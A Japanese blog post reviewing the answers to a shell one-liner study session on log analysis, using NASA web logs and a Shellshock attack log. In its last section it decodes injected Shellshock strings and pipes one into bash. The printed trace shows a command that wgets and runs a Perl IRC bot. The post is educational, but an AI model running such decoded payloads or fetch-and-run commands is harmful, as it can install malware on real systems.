「第16回春だからログ解析するぞシェル芸勉強会」の復讐^H^H復習

はじめに

「第16回春だからログ解析するぞシェル芸勉強会 & 第34回ログと言っても丸太のことではないUSP友の会定例会」が4月18日(土)、東京の西新宿にて行われました。

それと同時にサテライト会場として「第16回シェル芸勉強会　大阪サテライト」が大阪の難波にて実施され、自分はそこに参加いたしました。

今回の問題は、「[【問題のみ】第16回春だからログ解析するぞシェル芸勉強会

上田ブログ](http://blog.ueda.asia/?p=5851)」の通りですが、普段ログファイルの解析を行う機会がない素人の自分にとっては準備段階から非常に難度の高い勉強会でした。

なお、下記ログの正規化済ファイルの名称について、勉強会当日のツイートではaccess_log.nasaとaccess_logとが、またaccess.log_.shellshockとdanger_logとが混在していましたが、当記事ではそれぞれaccess_logとdanger_logに統一して表記しています。

(「準備0: 使用するログをダウンロード」は単にダウンロードするだけですので省略します)

準備1: 取得したログの日付と時刻を正規化

ダウンロードしたaccess_log.nasa.gzとaccess.log_.shellshock.gzについて、

$ zcat access_log.nasa.gz | head -n2
199.72.81.55 - - [01/Jul/1995:00:00:01 -0400] "GET /history/apollo/ HTTP/1.0" 200 6245
unicomp6.unicomp.net - - [01/Jul/1995:00:00:06 -0400] "GET /shuttle/countdown/ HTTP/1.0" 200 3985

を

$ cat access_log | head -n2
19950701 000001 199.72.81.55 - - [01/Jul/1995:00:00:01 -0400] "GET /history/apollo/ HTTP/1.0" 200 6245
19950701 000006 unicomp6.unicomp.net - - [01/Jul/1995:00:00:06 -0400] "GET /shuttle/countdown/ HTTP/1.0" 200 3985

のように”CCYYMMDD(年月日) hhmmss(時分秒) “を各行頭に付け加えよ、との指示です。

この指示内容を見た瞬間に「初っ端から心をへし折りに来た……」と感じましたが、以下のようにsedで強引に加工しました。

月の省略名の部分をいかに加工して行頭に持っていくのかが問題になる訳ですが、幸いaccess_log.nasa.gzでは7月と8月分、access.log_.shellshock.gzでは9〜12月分のデータしかないということで、省略名の部分をsedで置換すればOKでしょう。とはいえ、access_log.nasa.gzの方はとにかくサイズが大きいので正規化済ファイル生成に異様に時間が掛かることに留意する必要があります。

まずはaccess_log.nasa.gz。

$ zcat access_log.nasa.gz | awk -vFPAT='\\[[^]]*\\]|"[^"]*"|[^ ]+' '{print $4,$0}' | sed 's|^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)\ .....]\(.*\)|\3\2\1 \4\5\6\7|' | sed -e 's/Jul/07/' -e 's/Aug/08/' > access_log

ちなみに、awk(正確にはgawk)の-vオプションで指定している組込変数FPATはフィールドそのもののパターンを正規表現で指定するもので、Excelが生成するCSVファイルのような複数のフィールドタイプを含むデータの処理に効果的ですが、必然的にコードの記述が長くなりますのでシェル芸上での使用には注意が必要です。

そしてaccess.log_.shellshock.gz。

$ zcat access.log_.shellshock.gz | awk -vFPAT='\\[[^]]*\\]|"[^"]*"|[^ ]+' '{print $4,$0}' | sed 's|^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)\ .....]\(.*\)　|\3\2\1 \4\5\6\7|' | sed -e 's/Sep/09/' -e 's/Oct/10/' -e 's/Nov/11/' -e 's/Dec/12/' > danger_log

準備2: NASAのログを各日付で分割

NASAのログの正規化処理が終了するまで時間が掛かったため(救済策として行われた正規化済ファイルの提供開始とほぼ同じ頃に終了)、Q2とQ3については解答をスルーせざるを得なかったのですが、その間に分割方法を考えることができました。

その結果、第1フィールドから取得した日付を名前としたファイルに各行のデータを単純に書き込んでいく

$ mkdir nasa; cat access_log | awk '{print $0 >> "nasa/"$1}'

というシンプルなシェル芸に至りました。

Q1: ステータスコードの抽出と集計(NASA)

NASAのログからステータスコードを抽出して、各コードの数を数えるという問題です。

A1:

当日のツイートでは、

$ cat access_log | awk -vFPAT='\\[[^]]*\\]|"[^"]*"|[^ ]+' '{print $8}' | LANG=C sort | uniq -c

と解答しましたが、下記の解答と比較すると非常に遅い(上記: real 2m19.203s / user 2m11.080s / sys 0m1.288s 対下記: real 0m10.036s / user 0m8.628s / sys 0m1.124s で下記解答の圧勝)上に、取得フィールドのズレが存在するということでこれは明らかに誤答でした。

そもそもステータスコードは後ろから2番目のフィールドにあるので、指定フィールド番号にフィールド数を格納している組込変数NFから1を引いたものを与えれば良いわけです。

$ cat access_log | awk '{print $(NF-1)}' | LANG=C sort | uniq -c
3100522 200
  73070 302
 266773 304
     15 400
    225 403
  20901 404
     65 500
     41 501

ちなみに、sortコマンドの前に「LANG=C」を付けてデフォルトロケールでソート処理を行うと処理が速くなるのでオススメです。

Q2: ログの多い日を探し出す(NASA)

NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。

この「ファイルを開かずに」というのが曲者ではありますが、大量のデータを速く捌くという観点からすればとても理に適った話だと思います。

A2:

※あらかじめcd nasaしておいて下さい

ルール上、ファイルを開けないので、ファイル情報から「ログの多い日トップ10」を強引にチェックしてみます。

$ ls | xargs stat -c '%n: %s' | LANG=C sort -k2,2nr | head | cat -n
19950713: 16557952
19950706: 12583986
19950705: 11777820
19950712: 11483007
19950703: 11242160
19950831: 11072693
19950707: 10859858
19950714: 10478436
19950711: 9946946
19950830: 9897387

ファイルサイズ順にソートを行う、lsコマンドの-Sオプションを利用するのも手です。

$ ls -lS | awk 'NR!=1{print $9": "$5}' | head | cat -n
19950713: 16557952
19950706: 12583986
19950705: 11777820
19950712: 11483007
19950703: 11242160
19950831: 11072693
19950707: 10859858
19950714: 10478436
19950711: 9946946
19950830: 9897387

Q3: ログの件数が一番多い曜日ならびに時間帯を調べる(NASA)

アクセスログ解析の定番として解析用ツールを使った処理例がよくコンピュータ雑誌の記事に載っていたりしますが、シェル芸を含むワンライナーで片付けている例はさすがにあまりなかったような気がします。

A3-1:

まずは第1フィールドの年月日から曜日に変換する方法を探すためにman dataすると、使えそうなものとして

-d, –date=STRING
　　「現在」ではなく、STRING で指定された時刻を表示する

-f, –file=DATEFILE
　　DATEFILE の各行について B<–date> と同様の動作をする

の-fオプションと、出力制御用のフォーマット文字列の

%a　　ロケール表示による曜日の省略名 (例: Sun、日)

がありましたので早速シェル芸してみます。

ちなみに1回目のsortコマンドで「LANG=C」を設定したいので、その前のdateコマンドにも「LANG=C」を設定して曜日が英文字で出力されるようにしています。

$ cat access_log | awk '{print $1}' | LANG=C date -f - +%a | LANG=C sort | uniq -c | sort -k1,1nr
 667737 Thu
 574547 Wed
 556590 Tue
 529960 Mon
 497456 Fri
 318046 Sat
 317276 Sun

ログの件数が一番多い曜日は木曜日であることが確認できます。

A3-2:

次に時間帯別で表示します。この場合は第2フィールドの時分秒のうち時だけをawkのsubstr関数で抽出すればA3-1と同様に処理できます。

$ cat access_log | awk '{print(substr($2,1,2))}' | LANG=C sort | uniq -c | sort -k1,1nr
 230665 15
 227228 12
 225350 13
 223873 14
 217564 16
 211064 11
 193816 10
 178664 09
 178443 17
 149193 08
 146091 18
 131432 22
 131091 19
 129907 21
 129753 20
 123932 23
 110312 00
 101403 07
  91597 01
  77805 02
  67393 03
  66540 06
  59506 05
  58990 04

ログの件数が一番多い時間帯は15時台であることが確認できましたが、ここから更に2回目のsortコマンドをawkのコードに入れ替えてみます。

$ cat access_log | awk '{print(substr($2,1,2))}' | LANG=C sort | uniq -c | awk '{for(i=1;i<$1/5000;i++){star=star"*"};printf("%2d: %6d %s\n",$2,$1,star);star=""}'
110312 **********************
 91597 ******************
 77805 ***************
 67393 *************
 58990 ***********
 59506 ***********
 66540 *************
101403 ********************
149193 *****************************
178664 ***********************************
193816 **************************************
211064 ******************************************
227228 *********************************************
225350 *********************************************
223873 ********************************************
230665 **********************************************
217564 *******************************************
178443 ***********************************
146091 *****************************
131091 **************************
129753 *************************
129907 *************************
131432 **************************
123932 ************************

残念ながら速さの面ではほとんど変わりがありませんが(前者: real 0m7.487s / user 0m6.220s / sys 0m1.024s 対後者: real 0m7.444s / user 0m6.292s / sys 0m1.028s)、このようなヒストグラム風表示を行うシェル芸も面白いのではないかと思います。

Q4: IPv4アドレスがすべて192.168.から始まることを確認(ShellShock)

ログファイルを特定の文字列(ここではIPアドレス)で検索するタイプの問題です。

A4:

IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもある

ということで、grepコマンドで「192.168.」以外のIPアドレスの有無を検索して確認します。

解答としては、当日のツイートにある

$ [ "_$(cat danger_log | grep -v '[^0-9]192\.168\.[0-9]\{1,3\}\.[0-9]\{1,3\}[^0-9]')" = "_" ] && echo "192.168.からです"

でも良いのですが、grepコマンドの-qオプション

-q, –quiet, –silent
　　沈黙モードです。標準出力に何も書き出しません。
　　マッチするものが 1 つでも見つかると、エラーを検出していた場合でも、終了ステータス 0 で即座に終了します。
　　-s や –no-messages オプションも参照してください。 (-q オプションは POSIX. で規定されています)

を用いた

$ cat danger_log | grep -o '\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}' | grep -qv '^192\.168\.' || echo '全て192.168.からです'

の方がスッキリとした見た目でデータの流れがより分かりやすいのではないかと思います。

Q5: レスポンスのデータ送信量上位10件(ShellShock)

ShellShockログからレスポンスのバイト数を大きい順に10件分、IPアドレスと共に抽出する問題です。

A5:

IPアドレスとレスポンスのバイト数をいかにして抜き出すのかがこの問題を解く鍵となります。

当日のツイートのようにawkを用いたり、

$ cat danger_log | awk -vFPAT='\\[[^]]*\\]|"[^"]*"|[^ ]+' '{print $9,$3}' | sort -r | head -n10
192.168.64.196
192.168.246.56
192.168.246.56
192.168.238.52
192.168.193.42
192.168.193.42
192.168.193.42
192.168.193.42
192.168.151.207
192.168.151.207

下記の別解のようにsedを用いて抜き出すと良いでしょう(この別解では第2フィールドもソートしてみました)。

$ cat danger_log | sed 's/^.* \(\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}\).*" [0-9]\{3\} \([0-9]\{3\}\).*/\3 \1/' | LANG=C sort -n -k1,1r -k2,2 | head
192.168.0.90
192.168.151.207
192.168.151.207
192.168.151.207
192.168.151.207
192.168.151.207
192.168.151.207
192.168.151.207
192.168.151.207
192.168.193.42

どちらの方法を採るにしても正規表現から逃れることはほぼ不可能だと思われます。

Q6: アクセスが0件の日を抽出(NASA)

NASAのログについて、7月から8月の期間中において全くアクセスが無い日を列挙する問題です。

A6:

※(A2と同様に)あらかじめcd nasaしておいて下さい

準備2でログから日付毎に分割したファイル名と19950701から始まる連番とを比較した差分からアクセス数0件の日を求めることができます。

当日ツイートした

$ diff -u <(seq 19950701 19950831) <(ls) | sed -e '/00$/d' -e '/[4-9][0-9]$/d' -e '/3[2-9]$/d' | grep -h '^-' | tr -d '-'
19950729
19950730
19950731
19950802

でも良いのですが、lsコマンドで存在しないファイルを指定すると

$ ls 20150418
ls: 20150418 にアクセスできません: そのようなファイルやディレクトリはありません

のようなエラーメッセージを出力することと、bashのブレース展開を利用した別解

$ ls 1995{07,08}{01..31} 2>&1 | grep '^ls:' | sed 's/^.*\([0-9]\{8\}\).*/\1/'
19950729
19950730
19950731
19950802

の方が簡潔で処理の内容が分かりやすいと思います。lsコマンドの後ろにある「2>&1」で標準エラー出力を標準出力にリダイレクトするのがコツです。

Q7: インジェクションが試みられたコードの抽出・復元・実行(ShellShock)

今回の勉強会におけるラスボスにふさわしい逸品だといえます。特にQ7-3は事前の安全対策が施されていなければ、明らかに「危険シェル芸」な代物です。

A7-1:

まず最初にコードの抽出を行いますが、当日のツイート

$ cat danger_log | sed 's/\\"/%22/g' | awk -vFPAT='\\[[^]]*\\]|"[^"]*"|[^ ]+' '{print $11}' | sed 's/%22/\\"/g'

のように煩雑なことをしなくても

$ cat danger_log | sed 's/^.* \("().*\)/\1/'

のようなシンプルなワンライナーでコードの抽出という要求には十分応えることができるでしょう。

A7-2:

そしてA7-1(の別解)で抽出したコードを復元するために、以下の様に行頭・行末の「”」とエスケープを掃除するための処理を付け加えます。

$ cat danger_log | sed 's/^.* \("().*\)/\1/' | sed 's/^"\|"$//g' | sed 's/\\"/"/g' | sed 's/\\\\/\\/g'

A7-3:

最後に行頭の「() { :;};」を取り除けば、実行可能なコードの完成です。

それでは、指示通り最終行のみ実行してみましょう。

$ tail -n1 danger_log | sed 's/^.* \("().*\)/\1/' | sed 's/^"\|"$//g' | sed 's/\\"/"/g' | sed 's/\\\\/\\/g' | sed 's/^.*};//' | bash -x
+ /usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
Content-Type: text/plain

XSUCCESS!

なお、実際に実行した場合はwgetがアクセスに失敗するので「Ctrl+C」で処理を止めて下さい。

ちなみに、ダウンロード対象となっているandroid.txtの正体はポートスキャンやTCP/UDP flood攻撃などの機能を持つPerlで書かれたIRCボットです。実に危険です(ソース自体は勉強になりますが……)。

おわりに

「はじめに」でも書きましたように、今回のシェル芸勉強会ではスタート前から高難度の課題が出され「あくまでもシェル芸はプロの技術である」ということを思い知ることになりました。

……そういう訳で、当記事は以下の言葉で締めくくることにいたします。

「シェル芸こわい」

最後に、問題作成に限らず勉強会を全面的に支えていらっしゃるシェル芸家元の@ryuichiuedaさんおよび大阪サテライトを主催された@kunst1080さんに対し、この場で改めてお礼を申し上げます。本当にありがとうございました。

Written on April 24, 2015